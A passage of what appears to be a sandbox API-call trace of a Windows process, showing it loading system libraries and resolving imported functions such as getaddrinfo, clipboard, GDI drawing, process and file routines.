ProcedureAddress=0x131e750*=0x752637ad) returned 0x0 [0281.248] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x8, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x75262d57) returned 0x0 [0281.248] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x4, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x75266bdd) returned 0x0 [0281.248] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x73, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x75263ab2) returned 0x0 [0281.248] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name="getaddrinfo", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x75264296) returned 0x0 [0281.248] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x9, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x75262d8b) returned 0x0 [0281.249] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x16, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x7526449d) returned 0x0 [0281.249] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x74, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x75263c5f) returned 0x0 [0281.249] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x17, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x75263eb8) returned 0x0 [0281.249] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name="freeaddrinfo", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x75264b1b) returned 0x0 [0281.249] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x3, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x75263918) returned 0x0 [0281.249] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x13, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x75266f01) returned 0x0 [0281.249] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x10, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x75266b0e) returned 0x0 [0281.249] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0xd, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x7526b001) returned 0x0 [0281.249] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x1, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x752668b6) returned 0x0 [0281.249] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0xa, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x75263084) returned 0x0 [0281.249] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x14, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x752634b5) returned 0x0 [0281.249] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0xe, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x75262d57) returned 0x0 [0281.250] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x11, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x7526b6dc) returned 0x0 [0281.250] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x74fb0000 [0281.361] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="OleSetClipboard", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x75010045) returned 0x0 [0281.361] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="OleGetClipboard", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x7503fdcd) returned 0x0 [0281.361] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="StringFromGUID2", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74ff22ec) returned 0x0 [0281.361] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="OleInitialize", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74fcefd7) returned 0x0 [0281.361] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="OleUninitialize", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74fceba1) returned 0x0 [0281.361] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="ReleaseStgMedium", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74fcd35c) returned 0x0 [0281.361] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="CoCreateInstance", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74ff9d0b) returned 0x0 [0281.361] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="CoInitializeSecurity", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74fd7259) returned 0x0 [0281.361] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="CoUnmarshalInterface", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74fdf150) returned 0x0 [0281.362] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="CoTaskMemFree", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x75006f41) returned 0x0 [0281.362] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="OleFlushClipboard", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x7503fc29) returned 0x0 [0281.362] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="RevokeDragDrop", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74fcea05) returned 0x0 [0281.362] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="DoDragDrop", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x750ba827) returned 0x0 [0281.362] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="RegisterDragDrop", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74fce924) returned 0x0 [0281.362] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="PropVariantClear", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74ff3d79) returned 0x0 [0281.362] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="OleDuplicateData", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x75010d39) returned 0x0 [0281.362] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="CoSetProxyBlanket", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74fc5ea5) returned 0x0 [0281.362] LdrGetProcedureAddress (in: BaseAddress=0x74fb0000, Name="CreateStreamOnHGlobal", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74fd363b) returned 0x0 [0281.362] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x74be0000 [0281.379] LdrGetProcedureAddress (in: BaseAddress=0x74be0000, Name=0x0, Ordinal=0x13, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x74bfe127) returned 0x0 [0281.379] LdrGetProcedureAddress (in: BaseAddress=0x74be0000, Name=0x0, Ordinal=0x19, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x74bfea56) returned 0x0 [0281.379] LdrGetProcedureAddress (in: BaseAddress=0x74be0000, Name=0x0, Ordinal=0x14, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x74bfe173) returned 0x0 [0281.379] LdrGetProcedureAddress (in: BaseAddress=0x74be0000, Name=0x0, Ordinal=0x2, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x74be4642) returned 0x0 [0281.379] LdrGetProcedureAddress (in: BaseAddress=0x74be0000, Name=0x0, Ordinal=0x8, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x74be3ed5) returned 0x0 [0281.379] LdrGetProcedureAddress (in: BaseAddress=0x74be0000, Name=0x0, Ordinal=0x9, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x74be3eae) returned 0x0 [0281.379] LdrGetProcedureAddress (in: BaseAddress=0x74be0000, Name=0x0, Ordinal=0x6, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x74be3e59) returned 0x0 [0281.380] LoadLibraryA (lpLibFileName="COMCTL32.dll") returned 0x734c0000 [0281.596] LdrGetProcedureAddress (in: BaseAddress=0x734c0000, Name="InitCommonControlsEx", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x734e09ce) returned 0x0 [0281.596] LdrGetProcedureAddress (in: BaseAddress=0x734c0000, Name="ImageList_DrawEx", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x734d10fd) returned 0x0 [0281.596] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x74f20000 [0281.597] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetBkMode", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3901a) returned 0x0 [0281.597] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="CombineRgn", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3a903) returned 0x0 [0281.597] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="CreateRectRgnIndirect", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3a764) returned 0x0 [0281.597] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="DeleteObject", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f35689) returned 0x0 [0281.597] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetRegionData", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3afcc) returned 0x0 [0281.597] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="CreateDCW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3e743) returned 0x0 [0281.597] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="DeleteDC", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f358b3) returned 0x0 [0281.597] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="BitBlt", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f35ea6) returned 0x0 [0281.597] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetPixel", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3cbfb) returned 0x0 [0281.597] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="SetPixel", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3ccee) returned 0x0 [0281.597] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GdiFlush", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3ae78) returned 0x0 [0281.597] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="ExtEscape", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f403b7) returned 0x0 [0281.598] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="SetBkColor", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f352d8) returned 0x0 [0281.598] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetDeviceCaps", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f34de0) returned 0x0 [0281.598] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="CreateFontIndirectW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f35c19) returned 0x0 [0281.598] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="SetTextColor", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3522d) returned 0x0 [0281.598] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="SetStretchBltMode", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f37180) returned 0x0 [0281.598] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="SelectClipRgn", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f38916) returned 0x0 [0281.598] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="SelectObject", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f34f70) returned 0x0 [0281.598] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="StretchBlt", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3b895) returned 0x0 [0281.598] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="ExcludeClipRect", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3a066) returned 0x0 [0281.598] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetTextMetricsW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f382b2) returned 0x0 [0281.598] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="SetBkMode", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f351a2) returned 0x0 [0281.598] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="LineTo", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3b9e5) returned 0x0 [0281.599] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="MoveToEx", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f38ee6) returned 0x0 [0281.599] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="TextOutW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3d41c) returned 0x0 [0281.599] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="SetTextAlign", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f38401) returned 0x0 [0281.599] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="CreateRoundRectRgn", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f63736) returned 0x0 [0281.599] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetTextAlign", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f37fd5) returned 0x0 [0281.599] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="FillRgn", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3dfce) returned 0x0 [0281.599] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="CreateSolidBrush", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f34f17) returned 0x0 [0281.599] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="CreateRectRgn", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f377cf) returned 0x0 [0281.599] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="Polygon", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3cafc) returned 0x0 [0281.599] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="CreatePen", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3ba4f) returned 0x0 [0281.599] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="CreatePatternBrush", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f35dde) returned 0x0 [0281.600] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetStockObject", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f34eb8) returned 0x0 [0281.600] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="SwapBuffers", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f659fb) returned 0x0 [0281.600] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="SetPixelFormat", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f6594c) returned 0x0 [0281.600] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="ChoosePixelFormat", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f6588f) returned 0x0 [0281.600] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetViewportOrgEx", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f38659) returned 0x0 [0281.600] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="CreateEllipticRgn", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f636ff) returned 0x0 [0281.600] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="IntersectClipRect", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f37dc4) returned 0x0 [0281.600] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetClipBox", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3af9f) returned 0x0 [0281.600] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="OffsetViewportOrgEx", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3ab56) returned 0x0 [0281.600] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetTextExtentExPointW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f46815) returned 0x0 [0281.601] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetKerningPairsW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f5954c) returned 0x0 [0281.601] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="SetMapMode", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3b02f) returned 0x0 [0281.601] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetGlyphOutlineW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f5940d) returned 0x0 [0281.601] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="SetDCPenColor", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f62389) returned 0x0 [0281.601] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="CreateDIBSection", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3ac46) returned 0x0 [0281.601] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetTextExtentPoint32W", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3c107) returned 0x0 [0281.601] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="SetBrushOrgEx", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f39541) returned 0x0 [0281.601] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetDCBrushColor", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f6232e) returned 0x0 [0281.601] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetObjectW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f36c3a) returned 0x0 [0281.601] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="CreateBrushIndirect", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3b385) returned 0x0 [0281.601] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="CreateBitmap", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f35d53) returned 0x0 [0281.602] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetBitmapBits", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3c155) returned 0x0 [0281.602] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="CreateCompatibleBitmap", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f35f49) returned 0x0 [0281.602] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="RestoreDC", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f36ead) returned 0x0 [0281.602] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="SaveDC", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f36e05) returned 0x0 [0281.602] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="OffsetRgn", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3b3d4) returned 0x0 [0281.602] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="CreateCompatibleDC", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f354f4) returned 0x0 [0281.602] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetRgnBox", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f3b6aa) returned 0x0 [0281.602] LdrGetProcedureAddress (in: BaseAddress=0x74f20000, Name="GetClipRgn", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x74f38a43) returned 0x0 [0281.602] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76a70000 [0281.602] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GlobalLock", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9d077) returned 0x0 [0281.602] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GlobalAlloc", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a85846) returned 0x0 [0281.602] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GlobalUnlock", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a9cfb4) returned 0x0 [0281.603] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetLastError", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a811c0) returned 0x0 [0281.603] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GlobalFree", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a85510) returned 0x0 [0281.603] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="Sleep", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a810ff) returned 0x0 [0281.603] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="SetProcessShutdownParameters", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aa9003) returned 0x0 [0281.603] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="ResetEvent", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a816bd) returned 0x0 [0281.603] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetTickCount", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8110c) returned 0x0 [0281.603] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="CreateProcessW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8103d) returned 0x0 [0281.603] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="WaitForSingleObject", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a81136) returned 0x0 [0281.603] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetExitCodeProcess", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a91705) returned 0x0 [0281.603] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="WaitForMultipleObjects", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a841d8) returned 0x0 [0281.604] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="CloseHandle", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a813f0) returned 0x0 [0281.604] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="ResumeThread", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a843a7) returned 0x0 [0281.604] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetCurrentProcess", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a817e9) returned 0x0 [0281.604] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetSystemDirectoryW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a8501b) returned 0x0 [0281.604] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetCurrentProcessId", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a811f8) returned 0x0 [0281.604] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="FindFirstFileW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a843ed) returned 0x0 [0281.604] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="FindClose", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a843fa) returned 0x0 [0281.604] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="FindNextFileW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a854a6) returned 0x0 [0281.604] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="SetFilePointer", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a817b1) returned 0x0 [0281.605] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="QueryPerformanceCounter", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a81705) returned 0x0 [0281.605] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="ReadFile", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a83e83) returned 0x0 [0281.605] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="CreateFileW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a83f0c) returned 0x0 [0281.605] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="CreateThread", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a83485) returned 0x0 [0281.605] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="Process32FirstW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aa8b83) returned 0x0 [0281.605] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="Process32NextW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aa88da) returned 0x0 [0281.605] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="CreateToolhelp32Snapshot", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76aa7327) returned 0x0 [0281.605] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="OpenProcess", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a81966) returned 0x0 [0281.605] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="MulDiv", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x76a81b30) returned 0x0 [0281.605] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="CreateDirectoryW", 